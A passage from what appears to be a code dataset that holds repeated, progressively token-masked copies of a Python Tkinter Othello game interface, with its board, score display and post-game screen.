diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n 